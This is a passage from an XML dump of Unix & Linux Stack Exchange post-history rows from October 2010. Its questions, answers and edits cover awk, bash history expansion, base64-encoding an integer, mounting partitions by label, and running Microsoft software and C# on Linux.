  <row Id="7369" PostHistoryTypeId="4" PostId="3459" RevisionGUID="0e21ad8a-de71-45ca-b015-95eb5abf9a0c" CreationDate="2010-10-24T05:09:47.697" UserId="29" Comment="spelling correction" Text="How could I simplify this command to only use awk?" />
  <row Id="7370" PostHistoryTypeId="4" PostId="3457" RevisionGUID="a10d0dcd-91c7-47a3-97a7-79b5afeb5688" CreationDate="2010-10-24T05:12:43.153" UserId="29" Comment="correct english" Text="How do I take a list and remove it from a file?" />
  <row Id="7371" PostHistoryTypeId="6" PostId="3425" RevisionGUID="7ccee84d-3162-4b73-a3bf-4079c82b435e" CreationDate="2010-10-24T05:14:26.300" UserId="29" Comment="add fedora tag, since it could and probably has its own policy" Text="éfedoraàéselinuxà" />
  <row Id="7372" PostHistoryTypeId="2" PostId="3470" RevisionGUID="0bf85f87-c050-47ef-854c-81124ffd5e5b" CreationDate="2010-10-24T05:22:38.690" UserId="2376" Text="`alt-.` is certainly nice, but if you happen to already know which numbered argument you want, you can be faster: `!:n` is the `n`th argument of the previous command.&#xD;&#xA;&#xD;&#xA;It's often helpful to combine this with magic space. To enable that, put in your .inputrc `Space: magic-space`. With that enabled, when you type space after `!:2`, it will be immediately expanded to its value instead of waiting for you to hit enter. Saves you from accidentally grabbing the wrong argument." />
  <row Id="7373" PostHistoryTypeId="4" PostId="2640" RevisionGUID="ed59fcb2-b5fc-45ff-b35e-85cb297ce121" CreationDate="2010-10-24T06:08:02.130" UserId="250" Comment="edited title" Text="Is it bad practice to set root's shell to something other than the default?" />
  <row Id="7374" PostHistoryTypeId="2" PostId="3471" RevisionGUID="451c957f-274e-4b49-9d83-e17d40a2da95" CreationDate="2010-10-24T06:12:23.713" UserId="912" Text="Another expansion - **run control**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;On Tue, 4 Nov 2003, goldwyn rodrigues wrote:&#xD;&#xA;&#xD;&#xA;&gt;&gt; Does anyone know what RC (in bashrc/mailrc/... ) means or how it&#xD;&#xA;&gt; originated? I mean, is it an acronym? If yes, what does it stand for?&#xD;&#xA;&#xD;&#xA;&gt;'rc' stands for 'run control' and is a a convention adopted from older&#xD;&#xA;Unix systems.&#xD;&#xA;&#xD;&#xA;&gt;For more info see this:&#xD;&#xA;http://www.catb.org/~esr/writings/taoup/html/ch10s03.html&#xD;&#xA;&#xD;&#xA;[[Source]][1]&#xD;&#xA;  [1]: http://mm.ilug-bom.org.in/pipermail/linuxers/Week-of-Mon-20031103/012355.html" />
  <row Id="7375" PostHistoryTypeId="2" PostId="3472" RevisionGUID="99df622a-eee5-4043-8a22-40d76f754fcb" CreationDate="2010-10-24T07:25:37.953" UserId="250" Text="I found a Mozilla's support [page][1], and a [thread][2] in Google's support forum. Add up with a little guessing of my own I have something that may work.&#xD;&#xA;&#xD;&#xA;Just follow the following instruction for KDE (taken from Mozilla), with your &quot;email client&quot; being `xdg-open &quot;https://mail.google.com/mail?extsrc=mailto&amp;url=$s&quot;`&#xD;&#xA;&#xD;&#xA;&gt;1. Open the KDE Control Center by clicking on K and selecting Control Center.&#xD;&#xA;&gt;2. In the Control Center window, click to expand KDE Components.&#xD;&#xA;&gt;3. Click to select Component Chooser.&#xD;&#xA;&gt;4. Click to select Email Client.&#xD;&#xA;&gt;5. Click to select the Use a different email client radio button.&#xD;&#xA;&gt;6. Type the full path to your e-mail client (e.g. /usr/bin/thunderbird).&#xD;&#xA;&gt;7. Click Apply to close the Control Center window and save your changes.&#xD;&#xA;&#xD;&#xA;I don't have KDE so I cannot test, but executing `xdg-open &quot;https://mail.google.com/mail?extsrc=mailto&amp;url=$s&quot;` in a terminal does open a browser with Gmail.&#xD;&#xA;&#xD;&#xA;Tell me if it works :)&#xD;&#xA;&#xD;&#xA;  [1]: http://support.mozilla.com/en-US/kb/Changing+the+e-mail+program+used+by+Firefox#KDE&#xD;&#xA;  [2]: http://www.google.com/support/forum/p/Chrome/thread?tid=0b8a4badbeaa646f&amp;hl=en&amp;fid=0b8a4badbeaa646f00048103d403a02a&amp;hltp=2" />
  <row Id="7376" PostHistoryTypeId="2" PostId="3473" RevisionGUID="488e33a5-b42a-4040-bf70-d008a723b367" CreationDate="2010-10-24T07:26:44.413" UserId="2414" Text="Hi,  &#xD;&#xA;I want to start working with linux, and I know I should work in that regularly to improve myself.  &#xD;&#xA;I work with *sql server*, *office*, *c#* at the company. can I install and do my tasks in linux (i.e. red hat)?" />
  <row Id="7377" PostHistoryTypeId="1" PostId="3473" RevisionGUID="488e33a5-b42a-4040-bf70-d008a723b367" CreationDate="2010-10-24T07:26:44.413" UserId="2414" Text="some information for a linux beginer" />
  <row Id="7378" PostHistoryTypeId="3" PostId="3473" RevisionGUID="488e33a5-b42a-4040-bf70-d008a723b367" CreationDate="2010-10-24T07:26:44.413" UserId="2414" Text="élinuxà" />
  <row Id="7379" PostHistoryTypeId="4" PostId="3473" RevisionGUID="4302a8db-7e6e-40ba-b893-b422f37349f7" CreationDate="2010-10-24T07:38:50.447" UserId="2414" Comment="edited title" Text="Can I work with Sql Server, Office and C# using Linux?" />
  <row Id="7380" PostHistoryTypeId="2" PostId="3474" RevisionGUID="aa4ee74f-a5e7-4ba5-94a9-3750e98688c3" CreationDate="2010-10-24T07:52:46.613" UserId="250" Text="Sadly, SQL Server is a Microsoft product, and I don't think they are stupid enough to support a platform that competes with Windows (i.e their bread and butter). Things that use SQL Server are hardly configurable to use another database server, and I don't think you can't change it in your company anyway.&#xD;&#xA;&#xD;&#xA;The same thing goes for MS Office (if you meant it). There are alternatives for MS Office, the most notable being OpenOffice.org, but no there won't be MS Office on any Linux (unless you plan to run it on WINE, which is quite cumbersome to setup or maintain, and there is no guarantee that it will [work][1]).&#xD;&#xA;&#xD;&#xA;C# is a longer story. Still it's meant to be used on Windows (ask Microsoft for more information), but there is Mono, the opensource implementation of the .NET framework. There have been [debates][2] whether a Linux user should use it. Technically I can see a major obstacle when everybody else uses Visual Studio on Windows and you try to make it work on Linux.&#xD;&#xA;&#xD;&#xA;I hate to say this but frankly, I don't think you should try to use Linux at your workplace. If you want to learn Linux (which I encourage), install a user-friendly distribution (Ubuntu maybe?) on your personal computer is your best shot.&#xD;&#xA;&#xD;&#xA;  [1]: http://appdb.winehq.org/appview.php?appId=31&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Mono_(software)#Free_Software_Foundation.27s_warnings" />
  <row Id="7381" PostHistoryTypeId="2" PostId="3475" RevisionGUID="f031fbf2-c111-4d59-be05-35bfa04e7d42" CreationDate="2010-10-24T07:53:59.820" UserId="678" Text="MS SQL Server is a windows application, which is designed to run on windows. Linux is not Windows. It is possible that there are some tricks to get it up and running on Linux, but I would not recommend it.&#xD;&#xA;&#xD;&#xA;Same applies to MS Office. There is an alternative called [OpenOffice.org][1] (or [LibreOffice][2]) which is able to read and write MS Office documents. If you need SharePoint integration you are lost.&#xD;&#xA;&#xD;&#xA;[Mono][3] is a C# and .Net development environment for Linux.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openoffice.org/&#xD;&#xA;  [2]: http://www.documentfoundation.org/&#xD;&#xA;  [3]: http://www.mono-project.com/Main_Page" />
  <row Id="7382" PostHistoryTypeId="5" PostId="3474" RevisionGUID="f0c512c6-4734-4d4a-8468-5070c42a7291" CreationDate="2010-10-24T07:59:19.663" UserId="250" Comment="deleted 2 characters in body" Text="Sadly, SQL Server is a Microsoft product, and I don't think they are stupid enough to support a platform that competes with Windows (i.e their bread and butter). Things that use SQL Server are hardly configurable to use another database server, and I don't think you can change it in your company anyway.&#xD;&#xA;&#xD;&#xA;The same thing goes for MS Office (if you meant it). There are alternatives for MS Office, the most notable being OpenOffice.org, but no there won't be MS Office on any Linux (unless you plan to run it on WINE, which is quite cumbersome to setup or maintain, and there is no guarantee that it will [work][1]).&#xD;&#xA;&#xD;&#xA;C# is a longer story. Still it's meant to be used on Windows (ask Microsoft for more information), but there is Mono, the opensource implementation of the .NET framework. There have been [debates][2] whether a Linux user should use it. Technically I can see a major obstacle when everybody else uses Visual Studio on Windows and you try to make it work on Linux.&#xD;&#xA;&#xD;&#xA;I hate to say this but frankly, I don't think you should try to use Linux at your workplace. If you want to learn Linux (which I encourage), install a user-friendly distribution (Ubuntu maybe?) on your personal computer is your best shot.&#xD;&#xA;&#xD;&#xA;  [1]: http://appdb.winehq.org/appview.php?appId=31&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Mono_(software)#Free_Software_Foundation.27s_warnings" />
  <row Id="7383" PostHistoryTypeId="2" PostId="3476" RevisionGUID="fd2f6c96-d450-4688-9325-a76a32d45737" CreationDate="2010-10-24T08:42:59.500" UserId="2359" Text="No, because there could be any length of time between the prompt and you entering your command, and then pressing the &lt;kbd&gt;ENTER&lt;/KBD&gt; key.&#xD;&#xA;&#xD;&#xA;You could set up an alias for a non command (say *doit*) that displayed the time and then execute the command it was passed.  It would require you remembering to use it every time, and it would only work on systems (and accounts) that you'd configured it on." />
  <row Id="7384" PostHistoryTypeId="2" PostId="3477" RevisionGUID="4c36277b-d8d7-4fc9-9368-6634129562e7" CreationDate="2010-10-24T10:26:01.630" UserId="29" Text="Follow the same basic instructions in [phunhehe's post][1] except instead of `xdg-open` you can use `kioclient exec https://mail.google.com/mail/?extsrc=mailto&amp;url=%u`. This will open the same browser that you've set to default in kde.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3468/how-do-i-make-kde-open-mail-links-to-a-webmail-client-in-a-browser/3472#3472" />
  <row Id="7385" PostHistoryTypeId="5" PostId="3460" RevisionGUID="74735133-b93e-4705-a201-bca9ce811993" CreationDate="2010-10-24T10:43:58.027" UserId="481" Comment="deleted 2 characters in body" Text="You can use `gsub` in `awk` to remove all `:`s in the string.&#xD;&#xA;&#xD;&#xA;    awk '/user/ {gsub(&quot;:&quot;, &quot;&quot;); print $1}' /etc/userdomains" />
  <row Id="7386" PostHistoryTypeId="2" PostId="3478" RevisionGUID="cda995e7-f6f7-497f-aabe-9dc72fd8b45f" CreationDate="2010-10-24T14:39:10.480" UserId="1615" Text="I would like to check the [Base64][1] value for an integer. There is a `base64` linux command but I don't understand how I can apply it on integers.&#xD;&#xA;&#xD;&#xA;I have tried with `base64 10` but then I get the error message `base64: 10: No such file or directory`&#xD;&#xA;&#xD;&#xA;How can I use the base64 command to get the Base64 value for an integer?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Base64" />
  <row Id="7387" PostHistoryTypeId="1" PostId="3478" RevisionGUID="cda995e7-f6f7-497f-aabe-9dc72fd8b45f" CreationDate="2010-10-24T14:39:10.480" UserId="1615" Text="How can I check the Base64 value for an integer?" />
  <row Id="7388" PostHistoryTypeId="3" PostId="3478" RevisionGUID="cda995e7-f6f7-497f-aabe-9dc72fd8b45f" CreationDate="2010-10-24T14:39:10.480" UserId="1615" Text="écommandölineà" />
  <row Id="7389" PostHistoryTypeId="5" PostId="3478" RevisionGUID="911fed4f-8f45-4fcd-8540-40dd15f0dac2" CreationDate="2010-10-24T15:17:19.953" UserId="1615" Comment="added 282 characters in body" Text="I would like to check the [Base64][1] value for an integer. There is a `base64` linux command but I don't understand how I can apply it on integers.&#xD;&#xA;&#xD;&#xA;I have tried with `base64 10` but then I get the error message `base64: 10: No such file or directory`&#xD;&#xA;&#xD;&#xA;I think that the problem can be that Base64 is used for Binary to Textual conversion, so there is no point to pass a Textual argument to it. So my argument `10` is read as an textual string and not as a binary number. Is there any way I can turn a texttual argument to a binary?&#xD;&#xA;&#xD;&#xA;How can I use the base64 command to get the Base64 value for an integer?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Base64" />
  <row Id="7391" PostHistoryTypeId="6" PostId="3478" RevisionGUID="e71ae63f-9fba-49dd-a5fe-3de0fb1dc294" CreationDate="2010-10-24T15:20:59.580" UserId="1327" Comment="edited tags" Text="écommandölineàébase64öcommandà" />
  <row Id="7392" PostHistoryTypeId="2" PostId="3480" RevisionGUID="616049c3-8bda-4f7a-8bd8-9bf978f54d66" CreationDate="2010-10-24T15:25:06.403" UserId="1615" Text="I would like to create a file that just contains a binary number. I think that `touch` can be used to create an empty file, but is there any way I can fill it with a binary number e.g. `10` (ten)?" />
  <row Id="7393" PostHistoryTypeId="1" PostId="3480" RevisionGUID="616049c3-8bda-4f7a-8bd8-9bf978f54d66" CreationDate="2010-10-24T15:25:06.403" UserId="1615" Text="How can I create a file that just contains a binary number?" />
  <row Id="7394" PostHistoryTypeId="3" PostId="3480" RevisionGUID="616049c3-8bda-4f7a-8bd8-9bf978f54d66" CreationDate="2010-10-24T15:25:06.403" UserId="1615" Text="écommandölineàéfileöcommandà" />
  <row Id="7395" PostHistoryTypeId="4" PostId="3438" RevisionGUID="c5c5fa92-dbe2-4bab-9c0c-f2268b7c6e4f" CreationDate="2010-10-24T15:25:16.317" UserId="1327" Comment="edited title" Text="what jobs are out there for NIX geeks?" />
  <row Id="7398" PostHistoryTypeId="2" PostId="3482" RevisionGUID="1f837285-3fbf-45d8-9991-3ce9ef00e2c4" CreationDate="2010-10-24T15:34:11.520" UserId="481" Text="Convert the number to hex (in this case `A`) and then do:&#xD;&#xA;&#xD;&#xA;    echo -n '\xA' &gt; file" />
  <row Id="7399" PostHistoryTypeId="12" PostId="3482" RevisionGUID="cd3e73b6-4189-41bd-9db9-d779f1eee192" CreationDate="2010-10-24T15:35:03.483" UserId="481" Text="[{&quot;Id&quot;:481,&quot;DisplayName&quot;:&quot;sepp2k&quot;}]" />
  <row Id="7400" PostHistoryTypeId="13" PostId="3482" RevisionGUID="6c650b16-a98d-4ccf-93ec-acfca416d77d" CreationDate="2010-10-24T15:36:07.383" UserId="481" Text="[{&quot;Id&quot;:481,&quot;DisplayName&quot;:&quot;sepp2k&quot;}]" />
  <row Id="7401" PostHistoryTypeId="5" PostId="3480" RevisionGUID="a10bb940-5e65-4584-9cb7-6401b3ba3ad9" CreationDate="2010-10-24T15:36:48.813" UserId="1615" Comment="added 171 characters in body" Text="I would like to create a file that just contains a binary number. I think that `touch` can be used to create an empty file, but is there any way I can fill it with a binary number e.g. `10` (ten)?&#xD;&#xA;&#xD;&#xA;See also [How can I check the Base64 value for an integer?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3478/how-can-i-check-the-base64-value-for-an-integer" />
  <row Id="7403" PostHistoryTypeId="2" PostId="3483" RevisionGUID="a20b28d6-9146-421f-a3ca-164b2c9f0e78" CreationDate="2010-10-24T15:38:16.790" UserId="481" Text="Convert the number into hex than use `echo` to print the according byte sequence and pipe that into `base64`. So to encode the integer 10 with base64, you can use:&#xD;&#xA;&#xD;&#xA;    echo -n '\xA' | base64" />
  <row Id="7405" PostHistoryTypeId="5" PostId="3480" RevisionGUID="72acb14e-944e-47f0-8e16-ff5ab1031e9d" CreationDate="2010-10-24T15:50:48.083" UserId="1615" Comment="added 71 characters in body" Text="I would like to create a file that just contains a binary number. I think that `touch` can be used to create an empty file, but is there any way I can fill it with a binary number e.g. `10` (ten)? And how can I validate that the file contains the binary value of ten?&#xD;&#xA;&#xD;&#xA;See also [How can I check the Base64 value for an integer?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3478/how-can-i-check-the-base64-value-for-an-integer" />
  <row Id="7406" PostHistoryTypeId="5" PostId="3482" RevisionGUID="a69bd191-7ae9-4df7-b275-96aff991588e" CreationDate="2010-10-24T16:01:34.053" UserId="481" Comment="added 1 characters in body" Text="Convert the number to hex (in this case `A`) and then do:&#xD;&#xA;&#xD;&#xA;    echo -en '\xA' &gt; file" />
  <row Id="7407" PostHistoryTypeId="5" PostId="3483" RevisionGUID="50ca3bf0-b125-4ec8-b75a-3d5d9381bf7f" CreationDate="2010-10-24T16:02:04.413" UserId="481" Comment="added 1 characters in body" Text="Convert the number into hex than use `echo` to print the according byte sequence and pipe that into `base64`. So to encode the integer 10 with base64, you can use:&#xD;&#xA;&#xD;&#xA;    echo -en '\xA' | base64" />
  <row Id="7408" PostHistoryTypeId="5" PostId="3483" RevisionGUID="55b8b817-3895-46b0-86e5-68933e4a1645" CreationDate="2010-10-24T16:36:37.190" UserId="481" Comment="added 302 characters in body" Text="Convert the number into hex than use `echo` to print the according byte sequence and pipe that into `base64`. So to encode the integer 10 with base64, you can use:&#xD;&#xA;&#xD;&#xA;    echo -en '\xA' | base64&#xD;&#xA;&#xD;&#xA;To explain the result. The byte 10 has the following binary representation:&#xD;&#xA;&#xD;&#xA;    00001010&#xD;&#xA;&#xD;&#xA;What base64 does is, it chunks those into groups of 6 bits. So with padding we get the following two 6lets:&#xD;&#xA;&#xD;&#xA;    000010 100000&#xD;&#xA;&#xD;&#xA;Which in decimal are 2 and 32, which correspond to the letters C and g." />
  <row Id="7409" PostHistoryTypeId="2" PostId="3484" RevisionGUID="092ad4bf-d40d-4302-8d9b-fc4ae2455881" CreationDate="2010-10-24T18:25:45.537" UserId="2417" Text="Try typing&#xD;&#xA;&#xD;&#xA;    set -o emacs" />
  <row Id="7410" PostHistoryTypeId="2" PostId="3485" RevisionGUID="c59ecc4c-ef20-48b9-a20a-34c032018389" CreationDate="2010-10-24T20:18:11.200" UserId="29" Text="@phunehehe and @ddeimeke have given good answers already. But I disagree with the statements on MS Office, yes there are alternatives (and it appears [Go OO][1] was left off), and wine, but I never see anyone mention [Crossover Office][2]. Crossover is a fork of wine that's commercially backed. If you really want to run Microsoft Office for professional use I'd try that. This may also allow you to use windows tools for SQL Server.&#xD;&#xA;&#xD;&#xA;  [1]: http://go-oo.org/&#xD;&#xA;  [2]: http://www.codeweavers.com/" />
  <row Id="7411" PostHistoryTypeId="2" PostId="3486" RevisionGUID="a3045022-8bfb-45ef-b794-7ff885b13dce" CreationDate="2010-10-24T20:29:05.943" UserId="29" Text="How do I add a label to a partition on a disk, and how do I then mount it by label ( manually and via fstab )? *note: this is an external hard drive*" />
  <row Id="7412" PostHistoryTypeId="1" PostId="3486" RevisionGUID="a3045022-8bfb-45ef-b794-7ff885b13dce" CreationDate="2010-10-24T20:29:05.943" UserId="29" Text="Hard Disk Label's" />
  <row Id="7413" PostHistoryTypeId="3" PostId="3486" RevisionGUID="a3045022-8bfb-45ef-b794-7ff885b13dce" CreationDate="2010-10-24T20:29:05.943" UserId="29" Text="éhardwareàémountà" />
  <row Id="7414" PostHistoryTypeId="2" PostId="3487" RevisionGUID="dcf7ca37-88d2-477e-be1b-605ee4b5b067" CreationDate="2010-10-24T20:42:43.617" UserId="1941" Text="If your partition is ext2,ext3 or ext4, you can use the e2label command to set the label:&#xD;&#xA;&#xD;&#xA;           e2label - Change the label on an ext2/ext3/ext4 filesystem&#xD;&#xA;    &#xD;&#xA;    SYNOPSIS&#xD;&#xA;           e2label device [ new-label ]&#xD;&#xA;&#xD;&#xA;after you have set the label to, say, &quot;data&quot; you can add a line in /etc/fstab like this one&#xD;&#xA;&#xD;&#xA;    LABEL=data /mnt/data ext4 noauto,users,rw,relatime 0 0&#xD;&#xA;&#xD;&#xA;then you just need to say mount `/mnt/data`. If you don't want to modify fstab you can use mounts -L option to specify the label:&#xD;&#xA;&#xD;&#xA;    mount -L data /mnt/data&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7415" PostHistoryTypeId="2" PostId="3488" RevisionGUID="7ff4bc4d-7b07-4440-81b3-23a40ac6dc27" CreationDate="2010-10-24T20:48:29.820" UserId="125" Text="You have three options: &#xD;&#xA;&#xD;&#xA;1) **Emulation** ([Wine][1], [Crossover Linux][2], [Bordeaux][3])&#xD;&#xA;&#xD;&#xA;2) **Virtualization** ([VMware Player][4] or [VMware Workstation][5], [Parallels Desktop][6], [Oracle Virtualbox][7])&#xD;&#xA;&#xD;&#xA;3) **[Dual Boot][8]**&#xD;&#xA;&#xD;&#xA;For C# development on Linux, [Mono Project][9] is the way to go. You can develop in [MonoDevelop][10] IDE and connect to SQL Server hosted in a virtual machine using [SQL Client][11] (for more info see: [Mono/ADO.NET][12], [Mono/ODBC][13], [Mono/Database Access][14], [Mono FAQ Technical][15])&#xD;&#xA;&#xD;&#xA;For more information about Mono have a look at the Start page: http://mono-project.com/Start&#xD;&#xA;&#xD;&#xA;Thanks to the Mono project you can even build apps with C# for Apple devices using [Monotouch][16] or for Android using [Monodroid.][17]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.winehq.org/&#xD;&#xA;  [2]: http://www.codeweavers.com/products/cxlinux/&#xD;&#xA;  [3]: http://www.bordeauxgroup.com/&#xD;&#xA;  [4]: http://www.vmware.com/products/player/&#xD;&#xA;  [5]: http://www.vmware.com/products/workstation/&#xD;&#xA;  [6]: http://www.parallels.com/eu/products/desktop/pd4wl/&#xD;&#xA;  [7]: http://www.virtualbox.org/&#xD;&#xA;  [8]: https://help.ubuntu.com/community/WindowsDualBoot&#xD;&#xA;  [9]: http://www.mono-project.com/Main_Page&#xD;&#xA;  [10]: http://monodevelop.com/&#xD;&#xA;  [11]: http://www.mono-project.com/SQLClient&#xD;&#xA;  [12]: http://www.mono-project.com/ADO.NET&#xD;&#xA;  [13]: http://www.mono-project.com/ODBC&#xD;&#xA;  [14]: http://www.mono-project.com/Database_Access&#xD;&#xA;  [15]: http://www.mono-project.com/FAQ:_Technical&#xD;&#xA;  [16]: http://monotouch.net/&#xD;&#xA;  [17]: http://monodroid.net/" />
  <row Id="7416" PostHistoryTypeId="5" PostId="3487" RevisionGUID="8e965e86-5788-4b99-8dfe-7df42eb8c5aa" CreationDate="2010-10-24T20:54:34.977" UserId="1941" Comment="added 1 characters in body; deleted 9 characters in body" Text="If your partition is ext2,ext3 or ext4, you can use the e2label command to set the label:&#xD;&#xA;&#xD;&#xA;           e2label - Change the label on an ext2/ext3/ext4 filesystem&#xD;&#xA;    &#xD;&#xA;    SYNOPSIS&#xD;&#xA;           e2label device [ new-label ]&#xD;&#xA;&#xD;&#xA;after you have set the label to, say, &quot;data&quot; you can add a line in /etc/fstab like this one&#xD;&#xA;&#xD;&#xA;    LABEL=data /mnt/data ext4 noauto,users,rw 0 0&#xD;&#xA;&#xD;&#xA;then you just need to say `mount /mnt/data`. If you don't want to modify fstab you can use mount's -L option to specify the label:&#xD;&#xA;&#xD;&#xA;    mount -L data /mnt/data&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7417" PostHistoryTypeId="5" PostId="3488" RevisionGUID="cc8221bd-4f48-454e-997d-c27c986bd155" CreationDate="2010-10-24T20:58:06.297" UserId="125" Comment="added 435 characters in body" Text="You have three options: &#xD;&#xA;&#xD;&#xA;1) **Emulation** ([Wine][1], [Crossover Linux][2], [Bordeaux][3])&#xD;&#xA;&#xD;&#xA;2) **Virtualization** ([VMware Player][4] or [VMware Workstation][5], [Parallels Desktop][6], [Oracle Virtualbox][7])&#xD;&#xA;&#xD;&#xA;3) **[Dual Boot][8]**&#xD;&#xA;&#xD;&#xA;For C# development on Linux, [Mono Project][9] is the way to go. You can develop in [MonoDevelop][10] IDE and connect to SQL Server hosted in a virtual machine using [SQL Client][11] (for more info see: [Mono/ADO.NET][12], [Mono/ODBC][13], [Mono/Database Access][14])&#xD;&#xA;&#xD;&#xA;For more information about Mono have a look at the Start page: http://mono-project.com/Start and [Mono FAQ Technical][15], [Mono FAQ General][16], [Mono ASP.NET FAQ][17], [Mono WinForms FAQ][18], [Mono Security FAQ][19]&#xD;&#xA;&#xD;&#xA;Also see their [Plans][20] and [Roadmap][21]&#xD;&#xA;&#xD;&#xA;Thanks to the Mono project you can even build apps with C# for Apple devices using [Monotouch][22] or for Android using [Monodroid.][23]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.winehq.org/&#xD;&#xA;  [2]: http://www.codeweavers.com/products/cxlinux/&#xD;&#xA;  [3]: http://www.bordeauxgroup.com/&#xD;&#xA;  [4]: http://www.vmware.com/products/player/&#xD;&#xA;  [5]: http://www.vmware.com/products/workstation/&#xD;&#xA;  [6]: http://www.parallels.com/eu/products/desktop/pd4wl/&#xD;&#xA;  [7]: http://www.virtualbox.org/&#xD;&#xA;  [8]: https://help.ubuntu.com/community/WindowsDualBoot&#xD;&#xA;  [9]: http://www.mono-project.com/Main_Page&#xD;&#xA;  [10]: http://monodevelop.com/&#xD;&#xA;  [11]: http://www.mono-project.com/SQLClient&#xD;&#xA;  [12]: http://www.mono-project.com/ADO.NET&#xD;&#xA;  [13]: http://www.mono-project.com/ODBC&#xD;&#xA;  [14]: http://www.mono-project.com/Database_Access&#xD;&#xA;  [15]: http://www.mono-project.com/FAQ:_Technical&#xD;&#xA;  [16]: http://www.mono-project.com/FAQ:_General&#xD;&#xA;  [17]: http://mono-project.com/FAQ:_ASP.NET&#xD;&#xA;  [18]: http://www.mono-project.com/FAQ:_WinForms&#xD;&#xA;  [19]: http://www.mono-project.com/FAQ:_Security&#xD;&#xA;  [20]: http://www.mono-project.com/Plans&#xD;&#xA;  [21]: http://www.mono-project.com/Roadmap&#xD;&#xA;  [22]: http://monotouch.net/&#xD;&#xA;  [23]: http://monodroid.net/" />
  <row Id="7418" PostHistoryTypeId="6" PostId="3473" RevisionGUID="f37d6a2f-5c91-4df5-8b3a-42f49542f3c8" CreationDate="2010-10-24T21:04:15.307" UserId="125" Comment="edited tags" Text="élinuxàémonoàéûnetàécñàésqlserverà" />
  <row Id="7419" PostHistoryTypeId="5" PostId="3488" RevisionGUID="d2fa1e01-670b-45c8-86e7-289a9a3c3322" CreationDate="2010-10-24T21:21:40.120" UserId="125" Comment="added 308 characters in body" Text="You have three options: &#xD;&#xA;&#xD;&#xA;1) **Emulation** ([Wine][1], [Crossover Linux][2], [Bordeaux][3])&#xD;&#xA;&#xD;&#xA;2) **Virtualization** ([VMware Player][4] or [VMware Workstation][5], [Parallels Desktop][6], [Oracle Virtualbox][7])&#xD;&#xA;&#xD;&#xA;3) **[Dual Boot][8]**&#xD;&#xA;&#xD;&#xA;For C# development on Linux, [Mono Project][9] is the way to go. You can develop in [MonoDevelop][10] IDE and connect to SQL Server hosted in a virtual machine using [SQL Client][11] (for more info see: [Mono/ADO.NET][12], [Mono/ODBC][13], [Mono/Database Access][14])&#xD;&#xA;&#xD;&#xA;For more information about Mono have a look at the Start page: http://mono-project.com/Start and [Mono FAQ Technical][15], [Mono FAQ General][16], [Mono ASP.NET FAQ][17], [Mono WinForms FAQ][18], [Mono Security FAQ][19]&#xD;&#xA;&#xD;&#xA;Also see their [Plans][20] and [Roadmap][21]&#xD;&#xA;&#xD;&#xA;Thanks to the Mono project you can even build apps with C# for Apple devices using [Monotouch][22] or for Android using [Monodroid.][23]&#xD;&#xA;&#xD;&#xA;Also if you want to have the latest version of Mono and tools I recommend using [**openSUSE**][24] because thats the first place where you'll find the latest updates, Mono being a project backed by Novell which is the company that also sponsors openSUSE distribution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.winehq.org/&#xD;&#xA;  [2]: http://www.codeweavers.com/products/cxlinux/&#xD;&#xA;  [3]: http://www.bordeauxgroup.com/&#xD;&#xA;  [4]: http://www.vmware.com/products/player/&#xD;&#xA;  [5]: http://www.vmware.com/products/workstation/&#xD;&#xA;  [6]: http://www.parallels.com/eu/products/desktop/pd4wl/&#xD;&#xA;  [7]: http://www.virtualbox.org/&#xD;&#xA;  [8]: https://help.ubuntu.com/community/WindowsDualBoot&#xD;&#xA;  [9]: http://www.mono-project.com/Main_Page&#xD;&#xA;  [10]: http://monodevelop.com/&#xD;&#xA;  [11]: http://www.mono-project.com/SQLClient&#xD;&#xA;  [12]: http://www.mono-project.com/ADO.NET&#xD;&#xA;  [13]: http://www.mono-project.com/ODBC&#xD;&#xA;  [14]: http://www.mono-project.com/Database_Access&#xD;&#xA;  [15]: http://www.mono-project.com/FAQ:_Technical&#xD;&#xA;  [16]: http://www.mono-project.com/FAQ:_General&#xD;&#xA;  [17]: http://mono-project.com/FAQ:_ASP.NET&#xD;&#xA;  [18]: http://www.mono-project.com/FAQ:_WinForms&#xD;&#xA;  [19]: http://www.mono-project.com/FAQ:_Security&#xD;&#xA;  [20]: http://www.mono-project.com/Plans&#xD;&#xA;  [21]: http://www.mono-project.com/Roadmap&#xD;&#xA;  [22]: http://monotouch.net/&#xD;&#xA;  [23]: http://monodroid.net/&#xD;&#xA;  [24]: http://www.opensuse.org/en/" />
  <row Id="7420" PostHistoryTypeId="5" PostId="3390" RevisionGUID="8e208dfe-fc3d-424e-ae1c-b2d10e87fd8b" CreationDate="2010-10-24T22:02:44.840" UserId="885" Comment="wrote second section on scripting" Text="For interactive use, there are two main contenders, [bash](http://www.gnu.org/software/bash) and [zsh](http://www.zsh.org/), plus the straggler [tcsh](http://www.tcsh.org/) and the newcomer [fish](http://fishshell.org/).&#xD;&#xA;&#xD;&#xA;Bash is the official shell of the GNU project and the default shell on most Linux distributions. On other unices that don't ship with a decent interactive shell as part of the base installation, I think bash is what people tend to choose, in a self-reinforcement “bash is everywhere so I'll use it too” loop. See also [Why is bash everywhere?](http://superuser.com/questions/61727/why-is-bash-everywhere) (with a lot of historical information).&#xD;&#xA;&#xD;&#xA;Zsh has almost every feature of bash and many more (useful!) features. Its main downside is being less well-known, which as a practical matter means you're less likely to find it already installed on a system someone else set up and there is less third-party documentation about it. See also [What zsh features do you use?](http://superuser.com/questions/2127/what-zsh-features-do-you-use), [What features are in zsh and missing from bash, or vice versa?](http://unix.stackexchange.com/questions/983/what-features-are-in-zsh-and-missing-from-bash-or-vice-versa).&#xD;&#xA;&#xD;&#xA;Tcsh was once (in the 1980s) or so the shell with the best interactive features, like its predecessor csh. Zsh caught up with tcsh and 